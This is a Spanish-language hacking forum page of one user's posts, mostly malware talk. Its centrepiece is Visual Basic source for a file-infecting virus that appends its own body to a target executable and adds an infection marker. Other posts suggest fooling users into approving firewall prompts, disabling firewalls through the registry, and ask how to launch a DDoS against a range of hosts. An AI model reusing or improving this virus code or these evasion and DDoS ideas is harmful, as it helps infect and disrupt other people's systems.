Mensajes

Fuhrer    xke dijo lo del brujo y con toda razon ponganse en lugar de el...te dicen eso ati...lo que dijo este elemento - eske es awita como se pasa aki la peñaa pero coño..no la cagan asi..vamos a empzar otro..no pasa nada..juas..se hace otro...aki no hay imaginacion pa eso y pa mas oke..sobran palabras «ÌNG_ÅMÇ» emplea esa rrabia para la proxima historia asi no sale con un estilo agresivo enga y no se traben y tu Fuhrer...no seas cagar par anda y metas la gamba = xke para mi entonces ya se akabo chungo con tigo coleguita, enga que me piro ya a la cama, enga señores hasta mañana jijiji

  la mula o casachanosoft32

A¥åHøRå pero ...bueno si vale...para lo que quieres no no serviria pero fijate como dice chewaca " el firewall pedira paso diciendo que la aplicacion ha cambiado" cierto..pero con muchos admins, podrias jugar con eso , osea..para el que se entera...vale..te calaria, desconfiaria, pero el que no sabe tanto...daria paso lo mas seguro..pues para el es: "su messenger"...su word..etc slau2.

  buenas, pues consigo infectar el archivo pero, cuando ejecuto el file infectado, se ejecuta correctamente sin haun haberlo regenerado..pero no ejecuta mi virus, segun un tuto de override dice el: que nuestro huesped despues de infectarlo con el methodo prepender...no se ejecutara sin generarlo  OK..pero entonces como carajo..lo infecto..y luego el husped se ejecuta  ..claro que el virus NO se ejecuta pero el husped si..bueno tengo un lio, pongo el codigo y lo comento, y me dicen porfavor si hay algo que no entiendo, pero bueno entiendo todo lo que es la funcion de infectar,  que no hay mas codigo x el momento, es un proyecto aparte para aprender este metodo de infecion.

Código [Seleccionar] Expandir

Private Const PV = 12288  ' contstante donde meto el peso de mi virus
Option Explicit

Private Sub Form_Load()
infect ("C:\Packman.exe")  ' infect..la funcion..pakman + ruta..esta claro
End Sub

Private Sub Timer1_Timer()
MsgBox " soy el codigo del virus"         ' un timer...que no mas es d ejemplo
Me.Caption = "soy el caption del virus"
MsgBox " soy otra parte del codigo"
Me.Caption = "yo tb ;) "
End Sub

Private Function infect(fileainfectar As String) As Boolean
Dim buffer As String  ' una variable que la vamos a usar como buffer para almasenar el peso del husped
Dim viruspv As String




Open fileainfectar For Binary Access Read As #1  ' abrimos el file a infectar el huesped para leer dedatos
buffer = Space(LOF(1))  ' en la val, buffer le decimos LOF(1) = al peso del huesped
Get #1, , buffer   'leemos en el canal uno la variable buffer
Close #1 'cerramos

If (Right(buffer, 2) <> "xD") Then ' una condicion, le añadimos a buffer en los dos últimos bytes de la app una marka viral para saber si el file esta infectao y entonces infectarlo
MsgBox "el archivo no esta markado x lo tanto no esta infectado, vamos a infectarlo ;)"

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #2  ' nos abrimos a nosotros mismo ( al virus en el canal2 )
viruspv = Space(PV)  ' en viruspv ( peso del virus ) metemos PV la constante k tiene todo nuestro peso
Get #2, , viruspv  'leemos los datos de la val, viruspv
Close #2 'ceramos


Open fileainfectar For Binary Access Write As #3  'abrimos el huesped para infectarlo, "Write" para escribir ene l una serie d datos
Put #3, , buffer  ' ponemos/ecsribimos los datos de la val, buffer
Put #3, , viruspv  ' lo mismo con el peso del virus
Put #3, , "xD"  ' y la marka de infecion
Close #3  'cerramos

Else ' un else--.--
MsgBox " el file que queremos infectar tiene nuestra MARKA...esta infectado, provemos con otro ;)"

End If

End Function

Puedes: ( x lo menos de las que conozco yo ): ventilartelo de registro, desabhlitarlo y agregarte a sus aplicaciones de confianza, las 3 formas de hacerlo las encuentras entre: Programación VB, Troyanos y Virus, Hacking Avanzado y Básico. salu2 y a buscar!!

En Troyanos y Virus...en el post de "Xenon" hay tienes varios ejemplos y alomejor en este mismo tb... a buscar compi !!

Si, la respuesta que te di es la correcta para alguien que quiere hacer algo decente, pero ese no es tu caso.

SI, para alguien con mas conocimientos que yo, si.

La manera de la que lo hice, que tiene de malo  usted aprendio haciendo esas cosas nada mas abrir el vb.. 

Me olvidé que por aquí pueblan personas que no tienen ningún interés en programación y parecen pensar que vb solo sirve para hacer virus. Por eso no puedes usar las tareas programadas y tampoco importa nada los recursos que consumes porque son recursos de otros.

....sin comentarios...primero habria que mirar tus actitudes en tú vida intima para luego opinar..? NO!! ensima...afirmas que pienso yo asi.

Y encima el tio queriendo saber como funciona el timer.

recapacita....porque ami su prepotencia me la trae sin cuidado, aver...donde carajo digo yo que quiero saber como funciona el timer....si le pregunte a hotmail_pop3 que si queria decir lo que yo interprete y el que le dijo como funciona el TIMER FUI YO, sino leelo bien.


Y por último, libre es de hacer lo que quiera, no me ayude

Buenas, la duda es como, que necesito para realizar un ddos con vb, tengo entendido que es haciendo peticiones incansables x ejemplo a un servidor web, pero que tipo de peticiones  alguna en concreto  puedo hacerlo con un rango de hosts a los que quiero enviar esas peticiones  como seria mejor  unas cuantas dudas, más nada, slau2.

Label1.Caption = "Hola, amigo, en la propiedad caption te muesto lo que quieras"

para eso sirve.....................y para más cosas depende el uso que le vayas a dar y tú codigo podras darle más de esa utilidad, slau2.

Kizar pero porque no te haces el diseño en photoshop del fondo, menus, botones, y el boton sea un control image..se pika ensima de la image. y listo luego le kitas el caption, le haces pake cuando pikes en cualkier parte del form se pueda mover etc, el boton de cerrar , minimizar etc etc te lo curras en photoshop..bueno es una idea...mira ver que te parece salu2.